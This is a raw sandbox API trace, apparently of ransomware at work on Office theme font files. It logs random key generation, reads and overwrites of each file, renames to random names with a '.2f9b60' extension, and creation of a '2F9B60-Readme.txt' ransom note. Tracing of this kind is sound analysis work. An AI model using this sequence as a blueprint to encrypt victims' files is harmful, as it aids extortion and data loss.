[0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x4ca5d067 [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x651a18b [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x3c10b54e [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x4d41f3fd [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x1465d904 [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x1cb264bc [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x1fe93540 [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x79e8e09c [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x7de14926 [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x6a48c307 [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x2b61f9b0 [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x7fe7cc08 [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x49e8db6a [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x65ec7495 [0124.460] ReadFile (in: hFile=0x108c, lpBuffer=0x41b5f0f0, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x407bf570, lpOverlapped=0x0 | out: lpBuffer=0x41b5f0f0*, lpNumberOfBytesRead=0x407bf570*=0xe20, lpOverlapped=0x0) returned 1 [0124.460] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.460] WriteFile (in: hFile=0x108c, lpBuffer=0x41b44990*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x407bf574, lpOverlapped=0x0 | out: lpBuffer=0x41b44990*, lpNumberOfBytesWritten=0x407bf574*=0xe20, lpOverlapped=0x0) returned 1 [0124.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0124.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bc0 [0124.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260bc0) returned 1 [0124.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b44990) returned 1 [0124.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b5f0f0) returned 1 [0124.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504990) returned 1 [0124.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0124.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20260bc0 [0124.519] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.519] WriteFile (in: hFile=0x108c, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x407bf690, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x407bf690*=0x102, lpOverlapped=0x0) returned 1 [0124.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0124.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0124.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0124.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0124.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8790 [0124.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8790) returned 1 [0124.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1ced8790 [0124.578] sprintf (in: _Dest=0x1ced8790, _Format="%c%c" | out: _Dest="4e") returned 2 [0124.578] sprintf (in: _Dest=0x1ced8792, _Format="%c%c" | out: _Dest="59") returned 2 [0124.578] sprintf (in: _Dest=0x1ced8794, _Format="%c%c" | out: _Dest="58") returned 2 [0124.578] sprintf (in: _Dest=0x1ced8796, _Format="%c%c" | out: _Dest="02") returned 2 [0124.578] sprintf (in: _Dest=0x1ced8798, _Format="%c%c" | out: _Dest="d5") returned 2 [0124.578] sprintf (in: _Dest=0x1ced879a, _Format="%c%c" | out: _Dest="1e") returned 2 [0124.578] sprintf (in: _Dest=0x1ced879c, _Format="%c%c" | out: _Dest="23") returned 2 [0124.579] sprintf (in: _Dest=0x1ced879e, _Format="%c%c" | out: _Dest="7a") returned 2 [0124.579] sprintf (in: _Dest=0x1ced87a0, _Format="%c%c" | out: _Dest="e6") returned 2 [0124.579] sprintf (in: _Dest=0x1ced87a2, _Format="%c%c" | out: _Dest="28") returned 2 [0124.579] sprintf (in: _Dest=0x1ced87a4, _Format="%c%c" | out: _Dest="0c") returned 2 [0124.579] sprintf (in: _Dest=0x1ced87a6, _Format="%c%c" | out: _Dest="cc") returned 2 [0124.579] sprintf (in: _Dest=0x1ced87a8, _Format="%c%c" | out: _Dest="7c") returned 2 [0124.579] sprintf (in: _Dest=0x1ced87aa, _Format="%c%c" | out: _Dest="f4") returned 2 [0124.579] sprintf (in: _Dest=0x1ced87ac, _Format="%c%c" | out: _Dest="c3") returned 2 [0124.579] sprintf (in: _Dest=0x1ced87ae, _Format="%c%c" | out: _Dest="3a") returned 2 [0124.579] RtlInitAnsiString (in: DestinationString=0x407bf708, SourceString="4e595802d51e237ae6280ccc7cf4c33a" | out: DestinationString="4e595802d51e237ae6280ccc7cf4c33a") [0124.579] RtlAnsiStringToUnicodeString (in: DestinationString=0x407bf6d8, SourceString="4e595802d51e237ae6280ccc7cf4c33a", AllocateDestinationString=1 | out: DestinationString="4e595802d51e237ae6280ccc7cf4c33a") returned 0x0 [0124.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97ad0 [0124.579] wcscat (in: _Dest=0x202ac8f0, _Source="4e595802" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\4e595802") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\4e595802" [0124.579] wcscat (in: _Dest=0x202ac8f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\4e595802.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\4e595802.2f9b60" [0124.579] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\4e595802.2f9b60", NtPathName=0x407bf6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\4e595802.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118af0 [0124.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118af0) returned 1 [0124.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48d60) returned 1 [0124.741] NtQueryInformationFile (in: FileHandle=0x108c, IoStatusBlock=0x407bf718, FileInformation=0x407bf728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x407bf718, FileInformation=0x407bf728) returned 0x0 [0124.741] NtSetInformationFile (FileHandle=0x108c, IoStatusBlock=0x407bf718, FileInformation=0x407bf728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac8f0) returned 1 [0124.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ad0) returned 1 [0124.747] FlushFileBuffers (hFile=0x108c) returned 1 [0124.748] CloseHandle (hObject=0x108c) returned 1 [0124.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac8f0 [0124.752] wcscpy (in: _Dest=0x202ac8f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.752] wcscat (in: _Dest=0x202ac8f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac8f0) returned 1 [0124.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0330) returned 1 Thread: id = 1444 os_tid = 0x18e4 [0119.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml")) returned 0x20 [0120.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", dwFileAttributes=0x20) returned 1 [0120.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1074 [0120.980] GetFileSizeEx (in: hFile=0x1074, lpFileSize=0x4086fd60 | out: lpFileSize=0x4086fd60*=3609) returned 1 [0120.980] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0xe15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.980] ReadFile (in: hFile=0x1074, lpBuffer=0x4086fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4086fd28, lpOverlapped=0x0 | out: lpBuffer=0x4086fce0*, lpNumberOfBytesRead=0x4086fd28*=0x4, lpOverlapped=0x0) returned 1 [0121.368] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a40 [0121.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0121.368] NtQuerySystemTime (in: CurrentTime=0x4086fc20 | out: CurrentTime=0x4086fc20*=132462177267730000) returned 0x0 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x41c87921 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x47d4e471 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x5a2800e8 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x5e8d08c2 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x61cba902 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x4fe1aa29 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x2e8c4dba [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x3e9703bf [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x1c65a873 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x209b075e [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x5257b4c [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x586f7f4e [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x5b6990ea [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x1c8ac297 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x141a3726 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x5f2c0a82 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x115cd7ef [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x7f1b0ce1 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x20bf7100 [0121.368] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x99cfcdd [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x694fa0e7 [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x65b878bd [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x6c0ac28a [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x5fb944b4 [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x4103612 [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x7498c7c3 [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x60f8348e [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x4995058a [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x2091cdd0 [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x42aa72c4 [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x5e8bffef [0121.369] RtlRandomEx (in: Seed=0x4086fc10 | out: Seed=0x4086fc10) returned 0x79814ea3 [0121.376] ReadFile (in: hFile=0x1074, lpBuffer=0x41b500b0, nNumberOfBytesToRead=0xe19, lpNumberOfBytesRead=0x4086fc10, lpOverlapped=0x0 | out: lpBuffer=0x41b500b0*, lpNumberOfBytesRead=0x4086fc10*=0xe19, lpOverlapped=0x0) returned 1 [0121.376] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.376] WriteFile (in: hFile=0x1074, lpBuffer=0x41b53cc0*, nNumberOfBytesToWrite=0xe19, lpNumberOfBytesWritten=0x4086fc14, lpOverlapped=0x0 | out: lpBuffer=0x41b53cc0*, lpNumberOfBytesWritten=0x4086fc14*=0xe19, lpOverlapped=0x0) returned 1 [0122.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e800 [0122.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e830 [0122.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e830) returned 1 [0122.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b53cc0) returned 1 [0122.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b500b0) returned 1 [0122.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0122.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0122.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e830 [0122.747] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.747] WriteFile (in: hFile=0x1074, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x4086fd30, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x4086fd30*=0x104, lpOverlapped=0x0) returned 1 [0122.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d8d0 [0122.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d8d0) returned 1 [0122.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0122.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d8d0 [0122.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d8a0 [0122.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d8a0) returned 1 [0122.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x2050d8a0 [0122.977] sprintf (in: _Dest=0x2050d8a0, _Format="%c%c" | out: _Dest="a4") returned 2 [0122.977] sprintf (in: _Dest=0x2050d8a2, _Format="%c%c" | out: _Dest="a3") returned 2 [0122.977] sprintf (in: _Dest=0x2050d8a4, _Format="%c%c" | out: _Dest="1d") returned 2 [0122.977] sprintf (in: _Dest=0x2050d8a6, _Format="%c%c" | out: _Dest="08") returned 2 [0122.977] sprintf (in: _Dest=0x2050d8a8, _Format="%c%c" | out: _Dest="64") returned 2 [0122.977] sprintf (in: _Dest=0x2050d8aa, _Format="%c%c" | out: _Dest="d9") returned 2 [0122.977] sprintf (in: _Dest=0x2050d8ac, _Format="%c%c" | out: _Dest="30") returned 2 [0122.977] sprintf (in: _Dest=0x2050d8ae, _Format="%c%c" | out: _Dest="a5") returned 2 [0122.977] sprintf (in: _Dest=0x2050d8b0, _Format="%c%c" | out: _Dest="3a") returned 2 [0122.978] sprintf (in: _Dest=0x2050d8b2, _Format="%c%c" | out: _Dest="88") returned 2 [0122.978] sprintf (in: _Dest=0x2050d8b4, _Format="%c%c" | out: _Dest="2d") returned 2 [0122.978] sprintf (in: _Dest=0x2050d8b6, _Format="%c%c" | out: _Dest="00") returned 2 [0122.978] sprintf (in: _Dest=0x2050d8b8, _Format="%c%c" | out: _Dest="3d") returned 2 [0122.978] sprintf (in: _Dest=0x2050d8ba, _Format="%c%c" | out: _Dest="35") returned 2 [0122.978] sprintf (in: _Dest=0x2050d8bc, _Format="%c%c" | out: _Dest="75") returned 2 [0122.978] sprintf (in: _Dest=0x2050d8be, _Format="%c%c" | out: _Dest="3c") returned 2 [0122.978] sprintf (in: _Dest=0x2050d8c0, _Format="%c%c" | out: _Dest="06") returned 2 [0122.978] sprintf (in: _Dest=0x2050d8c2, _Format="%c%c" | out: _Dest="77") returned 2 [0122.978] RtlInitAnsiString (in: DestinationString=0x4086fda8, SourceString="a4a31d0864d930a53a882d003d35753c0677" | out: DestinationString="a4a31d0864d930a53a882d003d35753c0677") [0122.978] RtlAnsiStringToUnicodeString (in: DestinationString=0x4086fd78, SourceString="a4a31d0864d930a53a882d003d35753c0677", AllocateDestinationString=1 | out: DestinationString="a4a31d0864d930a53a882d003d35753c0677") returned 0x0 [0122.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c4f0 [0122.978] wcscat (in: _Dest=0x1cd65600, _Source="a4a31d086" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a4a31d086") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a4a31d086" [0122.978] wcscat (in: _Dest=0x1cd65600, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a4a31d086.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a4a31d086.2f9b60" [0122.978] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a4a31d086.2f9b60", NtPathName=0x4086fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a4a31d086.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x1194b0 [0123.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1194b0) returned 1 [0123.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd000) returned 1 [0123.136] NtQueryInformationFile (in: FileHandle=0x1074, IoStatusBlock=0x4086fdb8, FileInformation=0x4086fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4086fdb8, FileInformation=0x4086fdc8) returned 0x0 [0123.136] NtSetInformationFile (FileHandle=0x1074, IoStatusBlock=0x4086fdb8, FileInformation=0x4086fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65600) returned 1 [0123.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c4f0) returned 1 [0123.142] FlushFileBuffers (hFile=0x1074) returned 1 [0123.144] CloseHandle (hObject=0x1074) returned 1 [0123.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd651e0 [0123.148] wcscpy (in: _Dest=0x1cd651e0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0123.148] wcscat (in: _Dest=0x1cd651e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0123.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0xffffffff [0123.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1758 [0123.151] WriteFile (in: hFile=0x1758, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x4086fc70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x4086fc70*=0xba9, lpOverlapped=0x0) returned 1 [0123.152] CloseHandle (hObject=0x1758) returned 1 [0123.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd651e0) returned 1 [0123.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b03d0) returned 1 Thread: id = 1445 os_tid = 0x18e8 [0119.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml")) returned 0x20 [0120.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml", dwFileAttributes=0x20) returned 1 [0120.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1070 [0120.981] GetFileSizeEx (in: hFile=0x1070, lpFileSize=0x4023f920 | out: lpFileSize=0x4023f920*=3604) returned 1 [0120.981] SetFilePointerEx (in: hFile=0x1070, liDistanceToMove=0xe10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.981] ReadFile (in: hFile=0x1070, lpBuffer=0x4023f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4023f8e8, lpOverlapped=0x0 | out: lpBuffer=0x4023f8a0*, lpNumberOfBytesRead=0x4023f8e8*=0x4, lpOverlapped=0x0) returned 1 [0122.371] SetFilePointerEx (in: hFile=0x1070, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6f0 [0122.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0122.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d870 [0122.371] NtQuerySystemTime (in: CurrentTime=0x4023f7e0 | out: CurrentTime=0x4023f7e0*=132462177277558000) returned 0x0 [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x4d48c227 [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x3976fd94 [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x5cbc84de [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x5015be1b [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x690506e2 [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x6673fe35 [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x21af446 [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x211539b3 [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x5038f8bd [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x22f27648 [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x2d0b2516 [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x3947b9f1 [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x7157b8f0 [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x2964e67a [0122.371] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x2a1d2c99 [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x5b456966 [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x60c0d347 